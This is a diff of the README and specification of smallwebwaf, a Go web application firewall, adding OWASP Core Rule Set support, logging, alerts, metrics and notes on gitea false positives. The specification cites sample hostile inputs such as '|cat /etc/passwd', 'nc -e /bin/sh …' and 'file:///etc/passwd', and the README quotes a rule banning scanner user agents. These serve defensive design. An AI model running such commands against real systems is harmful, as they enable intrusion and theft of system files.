-threshold, `SWWAF_ERROR_BURST_THRESHOLD`, `SWWAF_ALERT_COOLDOWN` or
-`SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_IPV6_GROUP_PREFIX`,
+threshold, `SWWAF_WAF_ANOMALY_THRESHOLD`, `SWWAF_ERROR_BURST_THRESHOLD`,
+`SWWAF_ALERT_COOLDOWN` or `SWWAF_ALERT_MAX_PER_HOUR` off;
+`SWWAF_IPV6_GROUP_PREFIX`, `SWWAF_WAF_PARANOIA_LEVEL`,
 `SWWAF_MAX_TRACKED_CLIENTS`, `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`,
 `SWWAF_LOOKUP_TIMEOUT`, `SWWAF_UNKNOWN_LIMIT_PERCENT`,
 `SWWAF_BLOCKLIST_REFRESH`, `SWWAF_ABUSEIPDB_MIN_SCORE`,
@@ -831,18 +952,19 @@ which every line has.
   path or the CrowdSec decision list lists its client, each of which bans its
   client, `country_denied` for one refused for its client's country,
   `rate_limited` for one that broke a rate limit and banned its client,
-  `rule_blocked` for one a `block` rule refused, `too_large` for a request or
-  response over its size limit, `timed_out` for one that ran out of time,
-  `upstream_error` when the app could not be reached or its answer broke off,
-  and `admin` for one `smallwebwaf` answered at its own endpoint.
+  `rule_blocked` for one a `block` rule refused, `waf_blocked` for one the Core
+  Rule Set refused, `too_large` for a request or response over its size limit,
+  `timed_out` for one that ran out of time, `upstream_error` when the app could
+  not be reached or its answer broke off, and `admin` for one `smallwebwaf`
+  answered at its own endpoint.
 - `would_action` is there in `observe` mode for a request that
   `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, the CrowdSec
   decision list, a DNSBL zone's verdict, AbuseIPDB's score, a rate limit, a trap
-  path or a rule would have refused in `enforce` mode, and names the action that
-  refusal would have had: `denied`, `banned`, `country_denied`, `rate_limited`
-  or `rule_blocked`. `action` then names what was done: `forward` for a request
-  passed to the app, and another action, such as `too_large`, for one a size or
-  time limit refused.
+  path, a rule or the Core Rule Set would have refused in `enforce` mode, and
+  names the action that refusal would have had: `denied`, `banned`,
+  `country_denied`, `rate_limited`, `rule_blocked` or `waf_blocked`. `action`
+  then names what was done: `forward` for a request passed to the app, and
+  another action, such as `too_large`, for one a size or time limit refused.
 - `limit_percent` is there for a request the rate limits count whose client a
   biased threshold, `SWWAF_BLOCKLIST_ACTION` for a blocklist that lists it, or
   `SWWAF_REPUTATION_ACTION` for a DNSBL zone whose verdict lists it or an
@@ -868,6 +990,12 @@ which every line has.
   counted before it.
 - `rule_ids` is there for a request that matched rules of the rule files, and
   lists their ids in the order they matched, up to the one that refused it.
+- `waf_score` is there for a request the Core Rule Set inspected, and gives its
+  anomaly score, `0` for one no rule matched; `waf_rule_ids` lists the ids of
+  the rules that matched, in the order they ran, and is left out when none did.
+  A request is a match when its score is at or over
+  `SWWAF_WAF_ANOMALY_THRESHOLD`: in `block` mode its `action` is `waf_blocked`,
+  and in `detect` mode what it would have been otherwise, such as `forward`.
 - `limit_hit` is there for a request that broke a rate limit or the error burst,
   or whose bytes broke a byte limit, and names the window whose limit it went
   over as `counts` names it: `minute`, `hour` or `day` for a rate limit, and
@@ -900,13 +1028,14 @@ which every line has.
 - The timings are in milliseconds, to the microsecond. `duration_total` runs
   from when the request's headers had been read to when its line is written, and
   `duration_checks` over the same start to when the checks were done; the health
-  check runs none, and its line has no `duration_checks`.
-  `duration_upstream_connect`, `duration_upstream_first_byte` and
-  `duration_upstream_total` are there for a request passed to the app, and run
-  from when it was handed to the app: until there was a connection to it, new or
-  kept open from an earlier request, until the first byte of its answer arrived,
-  and until the end. The first two are left out when that never happened, as for
-  an app that cannot be reached.
+  check runs none, and its line has no `duration_checks`. `duration_waf`, the
+  part of the checks the Core Rule Set took, reading the part of the body it
+  reads included, is there with `waf_score`. `duration_upstream_connect`,
+  `duration_upstream_first_byte` and `duration_upstream_total` are there for a
+  request passed to the app, and run from when it was handed to the app: until
+  there was a connection to it, new or kept open from an earlier request, until
+  the first byte of its answer arrived, and until the end. The first two are
+  left out when that never happened, as for an app that cannot be reached.
 
 No body is logged, and no header but those above. `smallwebwaf`'s own messages
 (start, the settings, stop, errors) share the stream as JSON lines marked
@@ -916,9 +1045,11 @@ less severe than `SWWAF_LOG_LEVEL` are not written.
 Go's HTTP server, on which `smallwebwaf` is built, reads a request's line and
 headers before `smallwebwaf` sees the request, and some requests end there,
 without a line in the log: headers over `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`,
-which it answers `431`, headers slower than `SWWAF_CLIENT_REQUEST_TIMEOUT`,
-whose connection it closes without an answer, and requests it cannot read at
-all, which it answers itself, mostly with `400`.
+which it answers `431`, and requests it cannot read at all, which it answers
+itself, mostly with `400`. A client too slow to send its request line and
+headers within `SWWAF_CLIENT_REQUEST_TIMEOUT` gets either no answer or an error
+answer from the server, mostly `400 Bad Request`; either way the server closes
+its connection, nothing reaches the app, and no line is written in the log.
 
 ### Sending the log to a syslog server
 
@@ -960,6 +1091,10 @@ it, as below. An alert is for one of these events, and is sent when
   clear sign of attack, or a client the CrowdSec decision list lists.
 - `permanent_ban`: a permanent ban it makes, or a ban for a clear sign of attack
   that a request made permanent.
+- `waf_block`: a request the Core Rule Set scored at or over
+  `SWWAF_WAF_ANOMALY_THRESHOLD`, in `block` mode, which refused it, and in
+  `detect` mode, which let it through, with `mode`, `detect`, in its `detail`;
+  in `observe` mode, `block` refused nothing either, and `mode` is `observe`.
 - `anomaly`: a count of requests or bytes over an anomaly threshold, raised by
   each request that ends with the count over it, in `observe` mode as in
   `enforce` mode. It refuses and bans nothing.
@@ -1036,19 +1171,21 @@ is sent on one line:
 - `client` is the address of the client whose request raised the alert, and
   `netblock` the netblock of the ban, or for an `anomaly`, the netblock counted:
   the client's own, the netblock around it or a named netblock, and none for an
-  AS number or the whole service, or for a `reputation_hit`, the client's own,
-  as `client_group` gives it; both are empty for `source_failure` and
-  `file_error`. `asn`, `as_name` and `country` are, for a ban, the client's as
-  the ban's notes give them when the alert is raised: empty, as in this alert,
-  when GeoJS had not answered about the client by then; for an `anomaly`, the
-  client's as the lookup gave them by the time its request ended; for a
-  `reputation_hit`, the client's as its request's log line gives them.
+  AS number or the whole service, or for a `reputation_hit` or a `waf_block`,
+  the client's own, as `client_group` gives it; both are empty for
+  `source_failure` and `file_error`. `asn`, `as_name` and `country` are, for a
+  ban, the client's as the ban's notes give them when the alert is raised:
+  empty, as in this alert, when GeoJS had not answered about the client by then;
+  for an `anomaly`, the client's as the lookup gave them by the time its request
+  ended; for a `reputation_hit` or a `waf_block`, the client's as its request's
+  log line gives them.
 - `reason` is a short sentence; for a ban, the ban's `reason` in `bans.json`;
   for an `anomaly`, what was counted over which threshold, such as
   `requests per minute of the netblock 203.0.113.0/24 over the threshold of 1000`;
   for a `reputation_hit`, `listed by a blocklist`,
   `listed by the CrowdSec decision list`, `listed by a DNSBL zone` or
-  `scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE`.
+  `scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE`; for a `waf_block`,
+  `scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD`.
 - `detail` is what is particular to the event: for a ban, its `cause`, when it
   ends as `ban_expires`, in the form the request log gives it, and its `notes`,
   as `bans.json` gives them; for an `anomaly`, the `scope`, `client`, `net`,
@@ -1057,11 +1194,14 @@ is sent on one line:
   or `hour`, the `kind`, `requests` or `bytes`, the `count`, which is weighted
   as the rate limits weigh theirs, and the `threshold`; for a `reputation_hit`,
   the `source`, the URL of the blocklist or of the CrowdSec decision list, the
-  zone or `abuseipdb`, and for AbuseIPDB the `score`; for `source_failure`, the
-  `source`, `geojs`, the URL of the list, the zone or `abuseipdb`, the `error`,
-  and for GeoJS, when it is asked again, `asking_again_in`; for `file_error`,
-  the `file`, which for an edit set aside is the file it was renamed to, and the
-  `error`, which for a file that does not parse names where in it the error is.
+  zone or `abuseipdb`, and for AbuseIPDB the `score`; for a `waf_block`, the
+  `rule_ids` and the `score`, as the request log gives them, the request's
+  `method`, its `path` with the query, and the `mode` when the request was not
+  refused for it; for `source_failure`, the `source`, `geojs`, the URL of the
+  list, the zone or `abuseipdb`, the `error`, and for GeoJS, when it is asked
+  again, `asking_again_in`; for `file_error`, the `file`, which for an edit set
+  aside is the file it was renamed to, and the `error`, which for a file that
+  does not parse names where in it the error is.
 - `suppressed_repeats` is how many repeats the cooldown held back before this
   alert, and for a `summary`, those no other alert gives (see below).
 
@@ -1182,9 +1322,10 @@ with times in UTC.
   with `401` for a missing or wrong token), the body bytes in each direction,
   its responses by status class and its offences by kind: `limit` for a broken
   rate limit, byte limit or error burst, `attack` for a clear sign of attack,
-  `rule_blocked` for a request a `block` rule refused and `token_refused` for
-  one refused for a missing or wrong token. Each client is on a line of its own,
-  so `grep` shows everything about one.
+  `rule_blocked` for a request a `block` rule refused, `waf_blocked` for one the
+  Core Rule Set refused and `token_refused` for one refused for a missing or
+  wrong token. Each client is on a line of its own, so `grep` shows everything
+  about one.
 - `lookups.json`: GeoJS's answers, one to a line, each with the client's AS
   number, AS name and country, when GeoJS gave it and when it was last used.
 - `reputation.json`: each list fetched from a URL (see "Blocklists" and
@@ -1308,11 +1449,12 @@ whole service, its `asn`, for an AS number, its `name`, for a named netblock, or
 the `start` of a window in which it has requests or bytes; a list's `url`,
 `fetched` or `lines`, which is `[]` for an empty list; a verdict's `zone`,
 `client`, `listed`, which is `false` for a client the zone does not list, or
-`fetched`. So does a ban whose `cause` is not `limit`, `attack`, `admin` or
-`crowdsec`, alerts waiting for a destination that is not `webhook`, `slack` or
-`ntfy`, an anomaly counter whose `scope` is not `client`, `net`, `asn`, `total`
-or `watch`, and a copy of a list with a line that would make its fetch fail. An
-answer's `asn` or `as_name` left out reads as empty.
+`fetched`. So does a ban whose `expires` is not after its `start` or whose
+`cause` is not `limit`, `attack`, `admin` or `crowdsec`, alerts waiting for a
+destination that is not `webhook`, `slack` or `ntfy`, an anomaly counter whose
+`scope` is not `client`, `net`, `asn`, `total` or `watch`, and a copy of a list
+with a line that would make its fetch fail. An answer's `asn` or `as_name` left
+out reads as empty.
 
 While it runs, `smallwebwaf` watches `SWWAF_STATE_DIR` and takes in your edit of
 a state file as soon as you save it: what the file then holds replaces what
@@ -1322,14 +1464,15 @@ writes a file it takes in any edit made since, so your edit is not overwritten;
 a change `smallwebwaf` made after you opened the file, such as a new ban, is
 lost when you save over it. An edit that would stop the start, because it does
 not parse, has another `version`, leaves out a field an entry needs, gives a ban
-another `cause`, names another destination, gives an anomaly counter another
-`scope` or gives a list's copy a line that would make its fetch fail, does not
-stop the running `smallwebwaf`: it keeps what it holds, and at the file's next
-write renames your file to `<name>.bad`, such as `bans.json.bad`, writes the
-file again from memory, logs the file and where the error is, and raises a
-`file_error` alert for it. It waits for that write because an editor's file can
-be read before the editor has finished writing it. Mend the `.bad` file and move
-it back. A file you remove is written again at its next write.
+an `expires` not after its `start` or another `cause`, names another
+destination, gives an anomaly counter another `scope` or gives a list's copy a
+line that would make its fetch fail, does not stop the running `smallwebwaf`: it
+keeps what it holds, and at the file's next write renames your file to
+`<name>.bad`, such as `bans.json.bad`, writes the file again from memory, logs
+the file and where the error is, and raises a `file_error` alert for it. It
+waits for that write because an editor's file can be read before the editor has
+finished writing it. Mend the `.bad` file and move it back. A file you remove is
+written again at its next write.
 
 To ban a netblock, add an entry to `bans.json` with its `netblock`, its `start`
 and its `expires`, `null` for a ban that never ends; its `reason` and its
@@ -1387,14 +1530,15 @@ scanner-agent  user_agent  ban     (?i)\b(sqlmap|nikto|nuclei|wpscan)\b
 
 - The id is letters, digits, `-` and `_`, and no two rules share one. The
   request log, the metrics and a ban's notes name the rule by it.
-- The target is what the regex is matched against: `path` or `query`, as the
-  client sent it, before any decoding; `uri`, the path and the query together,
-  both as sent and once percent-decoded, so that an encoded probe does not slip
-  past; `method`; `host`; `user_agent`; `referer`; or `header:<Name>`, any one
-  request header but `Host` and `Transfer-Encoding`, which Go's HTTP server
-  takes out of every request; the request's host is the target `host`. A header
-  sent more than once is matched with its values joined by `, `, and one not
-  sent as empty text. No body is read.
+- The target is what the regex is matched against: `path`, the path without the
+  query, and `uri`, the path and the query together, each both as sent and once
+  percent-decoded, so that an encoded probe does not slip past; `query`, as the
+  client sent it, before any decoding; `method`; `host`; `user_agent`;
+  `referer`; or `header:<Name>`, any one request header but `Host` and
+  `Transfer-Encoding`, which Go's HTTP server takes out of every request; the
+  request's host is the target `host`. A header sent more than once is matched
+  with its values joined by `, `, and one not sent as empty text. No body is
+  read.
 - The action is `log`, `block` or `ban` (see "What it does so far" above). Keep
   `ban` for requests no real visitor sends, and anchor a path at the site root
   with `^/`: a file of the same name deeper in a site can be ordinary content,
@@ -1467,15 +1611,18 @@ scraped, and keeps this one as `exported_instance` unless the scrape sets
   `refusals` for the error burst, whose window is `minute`,
   `smallwebwaf_size_and_time_limit_hits_total` by `limit`, the setting whose
   limit was passed, `smallwebwaf_offences_total` by `kind`, `limit`, `attack`,
-  `rule_blocked` or `token_refused`, as `clients.json` counts them, and
-  `smallwebwaf_bans_made_total` by `cause`, `limit`, `attack`, `admin` or
-  `crowdsec`, `admin` for the bans you add through `POST /_smallwebwaf/bans`,
+  `rule_blocked`, `waf_blocked` or `token_refused`, as `clients.json` counts
+  them, and `smallwebwaf_bans_made_total` by `cause`, `limit`, `attack`, `admin`
+  or `crowdsec`, `admin` for the bans you add through `POST /_smallwebwaf/bans`,
   and those whose `cause` is `admin` that you add to `bans.json` while
   `smallwebwaf` runs; `smallwebwaf_active_bans` and
   `smallwebwaf_permanent_bans`, neither of which counts a lifted ban.
 - `smallwebwaf_rule_matches_total`: the requests that matched each rule, by
   `rule_id` and `action`, the rule's own; and `smallwebwaf_rules_loaded`: the
   rules read from the rule files.
+- `smallwebwaf_waf_matches_total`: the requests that matched each rule of the
+  Core Rule Set, whatever their score, by `mode`, `SWWAF_WAF_MODE`, and
+  `rule_id`, a series for each rule that has matched.
 - `smallwebwaf_country_requests_total`,
   `smallwebwaf_country_request_bytes_total`,
   `smallwebwaf_country_response_bytes_total`, and
@@ -1542,8 +1689,7 @@ scraped, and keeps this one as `exported_instance` unless the scrape sets
 - Go's own `go_` metrics and the process's `process_` metrics.
 
 The requests Go's HTTP server ends before `smallwebwaf` sees them (see "Request
-log") are not counted. The metrics of the features still to come, such as the
-Core Rule Set, come with them.
+log") are not counted.
 
 ## Admin endpoints
 
@@ -1815,8 +1961,14 @@ main "$@"
   without one, it still starts. At each start the `run` script of `smallwebwaf`
   gives that directory and every file in it to the `smallwebwaf` user, so a host
   directory mounted there needs no change of owner.
-- `docker stop` has runit stop both processes. `smallwebwaf` then stops taking
-  requests and gives those in progress five seconds to finish.
+- `docker stop` has runit stop both processes at once, each with SIGTERM.
+  `smallwebwaf` then stops taking requests and gives those in progress five
+  seconds to finish, which they can do only while the app still answers. An app
+  that exits at once on SIGTERM ends them: the client gets `502`, or a response
+  cut short if the app had already begun to answer. An app that should let them
+  finish keeps taking and answering requests, not only the ones it already has,
+  for the whole five seconds after SIGTERM, since `smallwebwaf` can still pass
+  it requests it took before then.
 
 A rule file is one rule per line: a name, what to match against, what to do, and
 a regex.
@@ -2008,10 +2160,11 @@ addresses sends, so that one client costs at most one check every
 `SWWAF_REPUTATION_CACHE_TTL`.
 
 Only a client whose history counts an offence is checked, so that the checks are
-spent on suspects: so far, one that has broken a rate limit or a byte limit,
-matched a ban rule, or had a request refused by a block rule. A client dropped
-from the table of clients loses its history, and with it its offences. A client
-is checked in the background, at its first request after its offence that
+spent on suspects: so far, one that has broken a rate limit, a byte limit or the
+error burst, matched a ban rule, asked for a trap path, or had a request refused
+by a block rule, by the Core Rule Set or for a missing or wrong token. A client
+dropped from the table of clients loses its history, and with it its offences. A
+client is checked in the background, at its first request after its offence that
 reaches the check: no request waits, a request refused under its ban is not
 checked, and the request that has it checked, and any other from it before the
 answer comes, goes on as from a client without a score.
@@ -2116,15 +2269,18 @@ alerts, the metrics nor `reputation.json` hold it. Given as a file, with
   a ban, for the country lists, for a blocklist, for the CrowdSec decision list,
   which bans the client, for a DNSBL zone's verdict, for AbuseIPDB's score, for
   a rate limit, which bans the client, for a trap path, which bans the client,
-  for a `block` or `ban` rule, the latter banning the client, and for an
-  announced body over the size limit; in `observe` mode, only for the size
-  limit, with what it would have refused for noted in the log line. A request
-  under `/_smallwebwaf/` that `check` lets through is answered by `answerAdmin`
+  for a `block` or `ban` rule, the latter banning the client, for a Core Rule
+  Set match in `block` mode, for a body that passes the size limit or
+  `SWWAF_CLIENT_REQUEST_TIMEOUT` while the Core Rule Set reads it, and for an
+  announced body over the size limit; in `observe` mode, only for the last two,
+  with what it would have refused for noted in the log line. A request under
+  `/_smallwebwaf/` that `check` lets through is answered by `answerAdmin`
   instead of reaching the app. Once the answer to a request passed to the app
   has ended, `countBytes` counts its bytes for the byte limits, and once any
   request but the health check has ended, `countRefusal` counts it for the error
-  burst if it was refused after a rule file match or a trap path or for its
-  token, and `countAnomalies` counts it for the anomaly thresholds.
+  burst if it was refused after a rule file match, a trap path or a Core Rule
+  Set match or for its token, and `countAnomalies` counts it for the anomaly
+  thresholds.
 - `internal/metrics`: the metrics, counted as the other parts tell it what
   happened, and served in the Prometheus text format.
 - `internal/bans`: the ban ledger: each netblock's bans with their notes, how
@@ -2132,6 +2288,9 @@ alerts, the metrics nor `reputation.json` hold it. Given as a file, with
   and which ban `smallwebwaf` made is dropped when `SWWAF_MAX_BANS` are held.
 - `internal/rules`: reads the rule files at start and again as they change, and
   tells which of their rules a request matches.
+- `internal/waf`: the Core Rule Set with the six changes, as Coraza's own
+  directives, and what it finds in a request's method, URL, headers and the part
+  of its body it reads: the rules that matched and the anomaly score.
 - `internal/lookup`: looks up each client's AS number and country through GeoJS,
   keeps the answers, and hands each new one to the proxy, which adds it to the
   client's history and to the notes of its bans; or in the lookup database,
@@ -2181,8 +2340,10 @@ the ban to drop past `SWWAF_MAX_BANS`, and `github.com/prometheus/client_golang`
 keeps the metrics and serves them, and `github.com/fsnotify/fsnotify` tells
 `smallwebwaf` when a state file or a rule file is saved, or the lookup database
 replaced, and `github.com/oschwald/maxminddb-golang/v2` reads the lookup
-database, which the tests write with `github.com/maxmind/mmdbwriter`. The
-country codes are the list in `internal/config/config.go`.
+database, which the tests write with `github.com/maxmind/mmdbwriter`, and
+`github.com/corazawaf/coraza/v3` runs the Core Rule Set 4.25.0, which
+`github.com/corazawaf/coraza-coreruleset/v4` at `v4.25.0` carries. The country
+codes are the list in `internal/config/config.go`.
 
 ## Entrypoints
 
@@ -2223,10 +2384,34 @@ so that they run in minimal containers.
   that the health check passes, that a request reaches the app through
   `smallwebwaf`, that a second request in a minute bans the client, that a probe
   for `/.env` bans another client, whose next request makes the ban permanent,
-  that `sv stop` and `docker stop` stop it in order, and that a new container on
-  the same volume still refuses the banned client; then removes the containers,
-  the volume and both images. It needs network access, for nixpkgs' binary
-  cache, and `script/check` does not run it; `make example-app` does.
+  that `sv stop` and `docker stop` stop it in order, that a new container on the
+  same volume still refuses the banned client, that a container with its state
+  files on a new volume mounted at the directory `SWWAF_STATE_DIR_FILE` names
+  becomes healthy, and that one whose `SWWAF_STATE_DIR` does not exist logs
+  `smallwebwaf`'s message about it; then removes the containers, the volumes and
+  both images. It needs network access, for nixpkgs' binary cache, and
+  `script/check` does not run it; `make example-app` does.
+- `script/gitea-requests`: builds the image and runs gitea 1.27.3 behind it,
+  with every setting of `smallwebwaf` at its default but `SWWAF_UPSTREAM_URL`,
+  which names gitea's container. Of the requests that three of the notes
+  specific to gitea in [`SPEC.md`](SPEC.md) say are refused, it sends through
+  it: for each file the note on a file name in a query parameter names, the
+  API's list of its commits; for `Runtime.java` alone, the commit graph of that
+  file, the hidden lines of its diff and the API's call for the contents of
+  files that names it; the sign-in page gitea sends a visitor to on the way to
+  the edit page of `document.write.js`; the pages of `java.lang.String.md`,
+  `META-INF/services/org.apache.commons.logging.LogFactory`, `process.env.d.ts`
+  and `.../notes.txt`; and one container image push that reuses a layer. It does
+  not send the raw file, history, blame or edit page of those four files, the
+  pages of the directories `META-INF/services` and `...`, or the push again. It
+  also sends a short sample of gitea's ordinary use: signing in, pages of files
+  and commits, a diff, the API, a push, clone and fetch over HTTP, and two
+  container image pushes. It prints a line for each request `smallwebwaf`
+  logged, with what it did with it and the ids of the Core Rule Set's rules that
+  matched it, then removes the containers, the network and the images it made,
+  but gitea's own image. It needs network access, and a docker daemon that
+  pushes to a registry on `localhost` over plain HTTP, as docker does by
+  default; `script/check` does not run it, and `make gitea-requests` does.
 
 ## TODO
 

SPEC.md

@@ -225,9 +225,9 @@ address or one /64, so a permanent ban does not reach neighbours who did
 nothing.
 
 An offence is a request `smallwebwaf` holds against the client: one that carries
-a clear sign of attack, breaks a limit, or is refused by a rule file or the Core
-Rule Set. Offences are counted by kind in the client's history. Two kinds lead
-to a ban, each by its own rule:
+a clear sign of attack, breaks a limit, or is refused by a rule file, by the
+Core Rule Set or for a missing or wrong token. Offences are counted by kind in
+the client's history. Two kinds lead to a ban, each by its own rule:
 
 - A clear sign of attack: a request that matches a rule file rule whose action
   is `ban`, or asks for a path in `SWWAF_TRAP_PATHS`. Examples are a probe for a
@@ -414,10 +414,10 @@ The settings, by group:
       to send its request line and headers, and then, from the end of the
       headers, its body.
     - `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` (default `32K`): the largest
-      request line and headers a client may send. Over it, `smallwebwaf` answers
-      `431` and closes the connection, and nothing reaches the app. It must be
-      more than `4K`, and cannot be `off`: Go's HTTP server always has such a
-      limit, and reads 4 KiB past the one it is given before it refuses.
+      request line and headers a client may send. Over it, Go's HTTP server
+      answers `431` and closes the connection, and nothing reaches the app. It
+      must be more than `4K`, and cannot be `off`: Go's HTTP server always has
+      such a limit, and reads 4 KiB past the one it is given before it refuses.
     - `SWWAF_CLIENT_IDLE_TIMEOUT` (default `120s`): how long a kept-open
       connection may wait for its next request before `smallwebwaf` closes it.
       It is longer than the 90 seconds after which traefik, by default, closes a
@@ -435,12 +435,13 @@ The settings, by group:
       the client sends it and the app receives it.
     - `SWWAF_RESPONSE_MAX_BYTES` (default `5G`): the largest response body, as
       the app sends it and the client receives it.
-    - When a limit is passed before the response has started, `smallwebwaf`
-      answers itself: `413` for a request body that is too large, `408` for a
-      client that is too slow, `502` for a response that is too large, `504` for
-      an app that is too slow. A request that announces a body larger than its
-      limit is refused before anything reaches the app. Once the response has
-      started it can only be cut off, and the connection is closed.
+    - When a limit is passed after a request's line and headers have been read,
+      but before the response has started, `smallwebwaf` answers itself: `413`
+      for a request body that is too large, `408` for a client too slow to send
+      its body, `502` for a response that is too large, `504` for an app that is
+      too slow. A request that announces a body larger than its limit is refused
+      before anything reaches the app. Once the response has started it can only
+      be cut off, and the connection is closed.
     - Since a request body streams through, each side can hold up the other: a
       slow client slows the send to the app, and an app slow to take the body
       slows the client's send. So while a request body is still on its way, a
@@ -450,10 +451,11 @@ The settings, by group:
       waiting for the app to take what it had.
     - Go's HTTP server, on which `smallwebwaf` is built, reads a request's line
       and headers before `smallwebwaf` sees the request. A client that takes
-      longer than `SWWAF_CLIENT_REQUEST_TIMEOUT` to send them gets no answer:
-      the server closes its connection. Headers over
-      `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` are answered `431` by the server
-      itself. Neither request gets a line in the request log.
+      longer than `SWWAF_CLIENT_REQUEST_TIMEOUT` to send them gets either no
+      answer or an error answer from the server, mostly `400 Bad Request`;
+      either way the server closes its connection and nothing reaches the app.
+      Headers over `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` are answered `431` by
+      the server itself. Neither request gets a line in the request log.
     - A WebSocket connection leaves these limits behind once it is upgraded: it
       stays open until either side closes it.
 - Lookup of AS number and country (R7). On by default through GeoJS, which needs
@@ -618,10 +620,12 @@ The settings, by group:
           `|cat /etc/passwd`, `wget http://…` and `nc -e /bin/sh …`, and
           `file:///etc/passwd`, pass as well. Path traversal (`../`), SQL and
           script injection and PHP, Java and Node.js code are still refused
-          there, and every other parameter keeps all three rules. An app that
-          uses one of these parameters as a file on the server, or passes it to
-          a shell, gets no help from the three rules there (see "Risks the
-          design has to handle").
+          there, and every other parameter keeps all three rules. These names,
+          and `redirect_uri` in the change before, are matched without regard to
+          case, as Coraza matches them, so `Path` or `PATH` is treated as
+          `path`. An app that uses one of these parameters as a file on the
+          server, or passes it to a shell, gets no help from the three rules
+          there (see "Risks the design has to handle").
         - The Core Rule Set reads the request without the `gitea_flash` and
           `redirect_to` cookies, and does not check `Referer` for a Unix command
           given without arguments (932340) or for Java starting a process
@@ -823,7 +827,8 @@ a file edited, added or removed there takes effect while it runs.
 - `id`: a short name of letters, digits, `-` and `_`, unique across all files.
   It appears in the request log, metrics, alerts and ban notes.
 - `target`: what the regex is matched against.
-    - `path`: the URL path as received, before any decoding.
+    - `path`: the URL path without the query, both as received and once
+      percent-decoded, so an encoded probe cannot slip past.
     - `query`: the raw query string.
     - `uri`: path and query together, both as received and once percent-decoded,
       so an encoded probe cannot slip past.
@@ -1321,9 +1326,16 @@ The two processes:
 - A `smallwebwaf` that stops at start, for example on invalid configuration, is
   started again every second and stops again, logging its message each time,
   until the cause is fixed. The health check fails meanwhile.
-- `docker stop` sends SIGTERM to `runsvinit`, which has runit stop both
-  services, each with SIGTERM, and exits once they have stopped. `smallwebwaf`
-  writes its state files as it stops (see "Persistent state").
+- `docker stop` sends SIGTERM to `runsvinit`, which has runit stop both services
+  at once, each with SIGTERM, and exits once they have stopped. `smallwebwaf`
+  stops taking requests, gives those in progress five seconds to finish, and
+  writes its state files as it stops (see "Persistent state"). The requests in
+  progress can finish only while the app still answers. An app that exits at
+  once on SIGTERM ends them: the client gets `502`, or a response cut short if
+  the app had already begun to answer. An app that should let them finish keeps
+  taking and answering requests, not only the ones it already has, for the whole
+  five seconds after SIGTERM, since `smallwebwaf` can still pass it requests it
+  took before then.
 - The container's root filesystem stays writable: runit writes each service's
   status into its directory under `/etc/service`.
 
@@ -1474,8 +1486,47 @@ holds any token file.
           Saving such a rule stores it, but the branch settings page gitea then
           returns to gets the 403 answer of `smallwebwaf`, so the save looks as
           if it failed.
+        - A file name in a query parameter, those the fourth change leaves out
+          of 930120, 932160 and 932260 included, in which the Core Rule Set's
+          rules for Java, script, PowerShell and SQL find what they look for:
+          `runtime` in OpenJDK's
+          `src/java.base/share/classes/java/lang/Runtime.java` (944110), a Java
+          class, as in `java.lang.String.md` (944130), `document.write.js`
+          (941180), `process.env.d.ts` (934100), `__proto__` (934130), the
+          PowerShell command `Install-Script`, as in `install-script.sh`
+          (932120), or a database's name, as in PostgreSQL's
+          `information_schema.sql` (942140). For such a file, the API's list of
+          its commits (`path`) is refused, and so are the API's call for the
+          contents of files that names it in its query (`body`), the commit
+          graph of that file alone (`file`), and the hidden lines of its diff
+          (`path`), which stay hidden. A visitor whom gitea sends to sign in on
+          the way to a page of such a file that needs signing in, such as its
+          edit page, gets the 403 answer of `smallwebwaf` in place of the
+          sign-in page (`redirect_to`), and can still sign in by opening the
+          sign-in page itself.
         - A path: a file name ending in `~`, or an `.xhtml` file whose path
           holds a space.
+        - A path that holds what the Core Rule Set takes for a Java class
+          (944130), as `java.lang.String.md` and
+          `META-INF/services/org.apache.commons.logging.LogFactory` do, or for
+          Node.js code (934100), as `process.env.d.ts` does, or that has a
+          directory named `...` (930100, 930110), such as `.../notes.txt`. The
+          page of such a file, its raw file, its history, its blame and its edit
+          page are refused; the directory that holds it lists it, and a clone
+          carries it.
+        - A container image push that reuses a layer of an image docker has
+          pushed to that gitea before, when that image's owner, or its name
+          after the owner, starts with an entry on the list of commands
+          (932260), such as `owner/python3-app`, `owner/docker-base` or any
+          image of an owner named `ansible` or `docker-team`. docker asks gitea
+          to take the layer from that image, naming it in the query parameter
+          `from`, which 932260 checks, and gets the 403 answer of `smallwebwaf`.
+          A docker that keeps its images in containerd's image store, as a new
+          install of Docker Engine 29 does, then fails the push, and fails each
+          new try the same way. A docker that keeps them in its own older image
+          store uploads the layer instead, so the push succeeds after one
+          refusal for each layer it reuses, and each of those refusals counts
+          toward the error burst.
     - Artifact uploads from `actions/upload-artifact@v3` send the header
       `Content-Range`, which the Core Rule Set refuses (920450). The action
       sends two files at a time, does not retry a 403 and sends no further file
@@ -1563,10 +1614,19 @@ holds any token file.
 - Core Rule Set false positives against real apps (a search for code, and any
   body once `SWWAF_WAF_BODY_LIMIT` is set): a match refuses only that request
   and bans no one by itself; the request log names the rule, and exclusions by
-  rule id and path fix it. Further gitea requests the Core Rule Set may refuse
-  at the defaults, found by reading gitea's source rather than a running gitea,
-  are collected in https://git.eeqj.de/sneak/smallwebwaf/issues/30 and checked
-  when milestone 1 runs in front of a real gitea.
+  rule id and path fix it. `script/gitea-requests` runs gitea behind the image
+  at the defaults and sends through it a short sample of gitea's ordinary use
+  and some of the requests that three of the notes specific to gitea say are
+  refused: for each file the note on a file name in a query parameter names, the
+  API's list of its commits; for `Runtime.java` alone, the commit graph of that
+  file, the hidden lines of its diff and the API's call for the contents of
+  files that names it; the sign-in page gitea sends a visitor to on the way to
+  the edit page of `document.write.js`; the pages of `java.lang.String.md`,
+  `META-INF/services/org.apache.commons.logging.LogFactory`, `process.env.d.ts`
+  and `.../notes.txt`; and one container image push that reuses a layer, which
+  it does not try again. It reports each request the Core Rule Set refuses, so
+  that those requests can be checked again when gitea or the Core Rule Set
+  changes version.
 - Attacks carried in request bodies: not refused by default, since on a code
   forge bodies are full of code the Core Rule Set takes for attacks. Most of
   what shows in URLs and headers is still refused, the client that sends an

go.mod

